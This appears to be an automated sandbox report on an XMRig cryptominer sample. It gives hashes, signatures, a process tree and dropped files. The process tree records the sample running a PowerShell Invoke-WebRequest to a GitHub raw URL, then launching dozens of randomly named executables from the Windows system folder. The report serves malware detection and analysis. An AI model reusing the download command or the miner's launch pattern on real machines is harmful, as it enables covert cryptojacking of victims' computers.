Analysis
-
max time kernel
146s -
max time network
147s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
-
submitted
11/03/2024, 23:54
General
-
Target
8ddf9dc32f88df3241c9a9efe0136d32fbdafb869037101807cc80344869b71c.exe
-
Size
1.4MB
-
MD5
07105df0d5fc2fb6dcc827e2d30e46d3
-
SHA1
12533678610c640ca1f58473cf0fa789af7e31e1
-
SHA256
8ddf9dc32f88df3241c9a9efe0136d32fbdafb869037101807cc80344869b71c
-
SHA512
5c2f804eb8ec10602d4b94cb84ba67208935efddee2678d1e14c51edeb8d706362a1e523da5a264e5bd97ac7ddc919adbc710dbec2e528e8d415e1a77f36818f
-
SSDEEP
24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYMYXQQLFVfxKYLw2rn22:Lz071uv4BPMkibTIA5BXH6wrr22
Malware Config
Signatures
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Detects executables containing URLs to raw contents of a Github gist 54 IoCs
-
UPX dump on OEP (original entry point) 64 IoCs
-
XMRig Miner payload 54 IoCs
-
UPX packed file 64 IoCs
Detects executables packed with UPX/modified UPX open source packer.
Processes
-
C:\Users\Admin\AppData\Local\Temp\8ddf9dc32f88df3241c9a9efe0136d32fbdafb869037101807cc80344869b71c.exe"C:\Users\Admin\AppData\Local\Temp\8ddf9dc32f88df3241c9a9efe0136d32fbdafb869037101807cc80344869b71c.exe"1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "2⤵
-
-
C:\Windows\System\aolSfbF.exeC:\Windows\System\aolSfbF.exe2⤵
-
-
C:\Windows\System\ByZdlNq.exeC:\Windows\System\ByZdlNq.exe2⤵
-
-
C:\Windows\System\KptpIEC.exeC:\Windows\System\KptpIEC.exe2⤵
-
-
C:\Windows\System\qiNrmlJ.exeC:\Windows\System\qiNrmlJ.exe2⤵
-
-
C:\Windows\System\TkdkRLw.exeC:\Windows\System\TkdkRLw.exe2⤵
-
-
C:\Windows\System\PAjUzbY.exeC:\Windows\System\PAjUzbY.exe2⤵
-
-
C:\Windows\System\hJFLdFp.exeC:\Windows\System\hJFLdFp.exe2⤵
-
-
C:\Windows\System\fvBdLNY.exeC:\Windows\System\fvBdLNY.exe2⤵
-
-
C:\Windows\System\GYOrUsd.exeC:\Windows\System\GYOrUsd.exe2⤵
-
-
C:\Windows\System\fbvDjrU.exeC:\Windows\System\fbvDjrU.exe2⤵
-
-
C:\Windows\System\VKhAKqj.exeC:\Windows\System\VKhAKqj.exe2⤵
-
-
C:\Windows\System\ARLWZWN.exeC:\Windows\System\ARLWZWN.exe2⤵
-
-
C:\Windows\System\qsePHkB.exeC:\Windows\System\qsePHkB.exe2⤵
-
-
C:\Windows\System\cHgYyOa.exeC:\Windows\System\cHgYyOa.exe2⤵
-
-
C:\Windows\System\zFOkImn.exeC:\Windows\System\zFOkImn.exe2⤵
-
-
C:\Windows\System\PTFKIkJ.exeC:\Windows\System\PTFKIkJ.exe2⤵
-
-
C:\Windows\System\hKlApzv.exeC:\Windows\System\hKlApzv.exe2⤵
-
-
C:\Windows\System\ZWITUDU.exeC:\Windows\System\ZWITUDU.exe2⤵
-
-
C:\Windows\System\NgiqgzW.exeC:\Windows\System\NgiqgzW.exe2⤵
-
-
C:\Windows\System\IVtxtNb.exeC:\Windows\System\IVtxtNb.exe2⤵
-
-
C:\Windows\System\hmsAaKm.exeC:\Windows\System\hmsAaKm.exe2⤵
-
-
C:\Windows\System\UJrpgOD.exeC:\Windows\System\UJrpgOD.exe2⤵
-
-
C:\Windows\System\JYJcMVQ.exeC:\Windows\System\JYJcMVQ.exe2⤵
-
-
C:\Windows\System\NGzOztL.exeC:\Windows\System\NGzOztL.exe2⤵
-
-
C:\Windows\System\mzeIOcO.exeC:\Windows\System\mzeIOcO.exe2⤵
-
-
C:\Windows\System\epMnpLh.exeC:\Windows\System\epMnpLh.exe2⤵
-
-
C:\Windows\System\XEvHqCB.exeC:\Windows\System\XEvHqCB.exe2⤵
-
-
C:\Windows\System\jAGoKqp.exeC:\Windows\System\jAGoKqp.exe2⤵
-
-
C:\Windows\System\VkRyGvo.exeC:\Windows\System\VkRyGvo.exe2⤵
-
-
C:\Windows\System\mBRSRBK.exeC:\Windows\System\mBRSRBK.exe2⤵
-
-
C:\Windows\System\aAMIhHU.exeC:\Windows\System\aAMIhHU.exe2⤵
-
-
C:\Windows\System\FiFVHWz.exeC:\Windows\System\FiFVHWz.exe2⤵
-
-
C:\Windows\System\QLKmolo.exeC:\Windows\System\QLKmolo.exe2⤵
-
-
C:\Windows\System\LZNIeFL.exeC:\Windows\System\LZNIeFL.exe2⤵
-
-
C:\Windows\System\TNTDORd.exeC:\Windows\System\TNTDORd.exe2⤵
-
-
C:\Windows\System\tvMNaab.exeC:\Windows\System\tvMNaab.exe2⤵
-
-
C:\Windows\System\SWhbaBx.exeC:\Windows\System\SWhbaBx.exe2⤵
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1.4MB
MD5453d157fa89c331329cba4569c8d0c3a
SHA1abff4958d92ce6cb8b275512640332f032660ca8
SHA256e7e6612fbc613cdf8895b71b19933a9b4e6d044f14d959680b8945525425c4a5
SHA5126c87158c67c8138531602c96f2e67ece71e0414cf1df782aaebe9febb9a552313ae3005bc6da718fad5cdc458c0926c0551266d257b8ccbb8ad03ab6fdcb47f2
-
Filesize
1.4MB
MD5c972f77227c0d008bbd2bdae3c50ce97
SHA18dda2a5c887f815f5c28d3fbaef06626dec4374b
SHA2561caa99432c82b68a432daa560ebaa9bde62f201065c82b4c7e1c1e06bfb0ae0a
SHA5126444a5a495db66b4f1b17eec4870c4c74b2e577d693c568948ced767f33c7394719c2266d030417f933b726031d7fd9b866ede8ab5df9a2f88c65dce1489ae19
-
Filesize
1.4MB
MD5edf48c954f101c8333a174c70b3e465a
SHA111382e4336e32c2f5b76855506067a4c6048c263
SHA2563ad3c177ffc4bb43c8599e66ab0159d79ff5ae76df0b45ea75a392234cdaa452
SHA5120e573dbad6f3584b98c80ac3d3d660588708f55f6d5c935ac77479edaa0052bb63b74ecc426646c7a363461598c2a7d47a2db73a29fe25c4683a5b10b3c88b81
-
Filesize
1.1MB
MD5c00300af234ee965243563160aea7e4d
SHA137669533c27ace1800af4b5547c3b4b77fc84501
SHA256984d270a87d24397d50ee1c811ee6221bf1ef7dac82a7483d8ede618cc6461fa
SHA51200ba582862ca2537bfde684e5a8b472daf11ace3352e6e35357afca6f51756f161cdb0fc40a8f8b37185709ee24cc68470f7b0d7e25e97002c2222f18834f1f2
-
Filesize
1.4MB
MD5b0570be993c2d5a62838f9c0df22c4a7
SHA1d54f6c59be267870672a656202fff382e4048145
SHA256bf5d928cbeda16d1965bde476d9f2c858d1a3ebc3ed5e457e90b732b29d40520
SHA512dc835d3dcf424cb253fa93630dc92d24a0d0fae4afb5d293dbbd37d20bbb6cb89a536cb1bf7feb608f9b63b54b508aec9faa027c2d3de7d834cc21d8ef7c6908
-
Filesize
1.4MB
MD5eb27d59c9d1b63d5c2da8bfe6c02ad6a
SHA1f7029e5b1d778564256ca338c4a6347c780ced2e
SHA256acaf83ded525193a6acecac60ad93d279f0d6a1417a802590781496549ea1c8a
SHA51284b92073b45dbe889e6ff5b4c6734cac3db46155eb7cc1838a8860e49c748dae09027f1b59a1cd55b7b96408a3634145ff55ee704ef9c7b57a99e59b1efa77e1
-
Filesize
1.4MB
MD5099c071a2d5764adbe2ec0079e310e93
SHA17c67f715301ff56c1a1b8bfbfad3b14ac87b9d02
SHA256b47dde6b587b02c14ede7ce9f59838247a3fd556cec2b73d897ff4ef6171af60
SHA512d2989b8fac122b08b55a1f63270453b473caf32014f4d59b4478b70d69ce86ac71defcde2f8abb60b44d2a172d5d0073f5d2907c6f02946eaac126509149beff
-
Filesize
1.4MB
MD5ecbb2cda70dcffad7c59063088971ebc
SHA1e3d384eaf2776d246fffe4be811296b48af14e83
SHA256a74b1d9a357e3023d0a655f469e925d06c47ac3bb60be336ca68237c180012ba
SHA512f92ef77c8a85bfe6812bd098efb9531f8236d33175ec538bd1f91a2b3284f05e1a875570e3616e48382abfaf7280a4b4b488cd1dcf1accf06031af4ab9bec866
-
Filesize
1.4MB
MD511e544ea5ded1d52ba4f81aa18b9c7ee
SHA1758b2353693b57fc0e3fa78e6b6baa348aa5b9d7
SHA2565d8cff3bb81132b59a4437181ea676417cd8922373500adf33d318add77d511f
SHA512e9a2fb17da2f7cac5874bd98b9e2154925b989eb815ad6116b1b5ca5e32075e62c492880b75c02b36b28411029c685b948b2032ade582f382af8776c9501c22d
-
Filesize
1.4MB
MD515a01500ce2634bda6575f1498132489
SHA1baef7764fff9fe0691a4ee293d7fb744245b67df
SHA256ebf63c31daccc592fc895bffb5af92bbf8c29449dc04568a1e8f42477dc4aecb
SHA512d4b0675b303e14e4d81ff629d2e480c838650e9c7fe59ddcfb981ddc3cb0ff01b64cc8c8a7c3848184dbe192f16966ee23df8b00b5a82ae9c2101e57e6565305
-
Filesize
1.4MB
MD5db9db1b28d7bdfe9a8963cb2f686663e
SHA13bdf6d67b0416e4d123472b8d4c0f8cf8a413292
SHA256cecff95b50a04ba9e13cdbb71d217df21ad3b7de31c5537b5bad5afc6413957a
SHA512f42d131ac2250afb8cec834ef21a2c19cc027afcd613149f840f9d616ff81bd31402661c071b95c2b5e3d5b67b33fa8ece54ff4150edf4ee5507f92f69d801b4
-
Filesize
1.4MB
MD539e3dcfc0ba22533d4ac7ba909c0b443
SHA1678f21930123225f8278dab6317c1ccc81fb4e7b
SHA256143875bd71c9d4e20026284567b51db01a06fc8b560a900f633236e5f02e0126
SHA5125d42071b6944c3a6a7621235426020ae074ee5fe8d6fe04b0efdf5bb31f8bfcf0417663cd92b0f88d6ffc9bea1fa62f71b589c6baf030cd4994ed9e6ffb273a3
-
Filesize
1.4MB
MD5a6ecd4c3799e6fb0edd41aacda67f8a7
SHA13fbfabcb927a4ef78d92ea859aa19f4d1e7f0d83
SHA25692f1738932ef1730649eedfa99f276e9726f84b87f3ffb2ec4c1128ae32b747d
SHA512ea34375430aaa378948c2a20640f54cc963b25229d7a26514b6654d03eba8c4cc5edef4617ee6bf770b513bbf580ddf507d0dfd5bf0136924fee43619cdbfc55
-
Filesize
1.4MB
MD58b3fcee67944ee71bb961f8a28335d7c
SHA10f328e23ca4fd5385598058bb3f956200cea3889
SHA256e5680658996ffa8be267cd583b8c2aec7466ecf720fd966257182a62917c760d
SHA512070bee2701a7c8b8a8ee1cf794774761d4b8996b7b45232aa573adc0b69d49e00605595e5c4d04239efa25cbb7cd6b8aacc77f640bd49b2a66caffa27bfb732d
-
Filesize
1.4MB
MD503ca7c6cdf8681193185149c71976cdd
SHA13f783505e4374fa98e5d191899aa0383bcf8494c
SHA2565fa10facec014d19626ffea977462185fca13404f289fefcc79b4f41b3b38c1c
SHA5121b318d11026da780aa8704ce7e45e4fb20b3c9634afc521239544d98e125a149667fad9179837919b01cc2d2ae151e107aab766847e370b055852ca77d0fda35
-
Filesize
128KB
MD54faadaeab68805f04a3264b24b4484e7
SHA11506c8fa28d842c0dbf87aa4fae07f0c1d21c224
SHA256023ac7fc351f6d2e4691b22c68fbc17c1895254a67982bf0958242ced6e67f29
SHA512933034705851d18a168ec6a4a2f7a5330c92a605b28011dc44e331b0baa53be92639772e268a3dcd0b9551cd627b9185e234399894d0a898c1ae6ffdbb38edec
-
Filesize
1.4MB
MD574dee7cbca93327de3b4d9821fa20e65
SHA1ecde51d0d83997cdd3f963c4f51198802e8b334d
SHA256157b731840d69d0d2b925a9a173f6a4ec296aae512137cdee4b706bede5a8272
SHA5128a499a02edace178281409f4e188778413c175ed09b8c882f6d52eb308b538539d1f9590deab1a7a6c22b25934de0fe4f9d14c6da18252e645a6d0bbc6cab4a4
-
Filesize
832KB
MD55a44f7cdb1383926341c50c0b001559c
SHA1072604877b2958c577c586d14139d39f012c00dc
SHA256b75baa9dc61a064a9b06da3e5924cf08262f544320736d419b68b7e009465f5a
SHA51230a6a06711e9a2cdc19340bf113bead6e9cba8ddda330cd10bd1e6eff2082327b1e5ffa8ccbfcf381b643fb74eb238f08dbcab8fcd9bf4de72412df3047a6c30
-
Filesize
64KB
MD52b844d5b6b62dc9a3481183eddaa5d38
SHA187d636595dfedf6c2d0e0dff07b8562c1756b097
SHA256701fd725195e6f41fa8c30a535b7c6fe836dda87218adae65589c77aac994408
SHA512b48efac78940e6733b31810b8151f5b393d25eb481bcf3aa4f899e0ef27db951cc3620a8ae4658e19daeed7ac299c394da82ad4efd782b4ad07d1d3e507148d9
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
412KB
-
Filesize
9.6MB
-
Filesize
12KB
-
Filesize
2.9MB
-
Filesize
32KB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
64KB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB
-
Filesize
3.9MB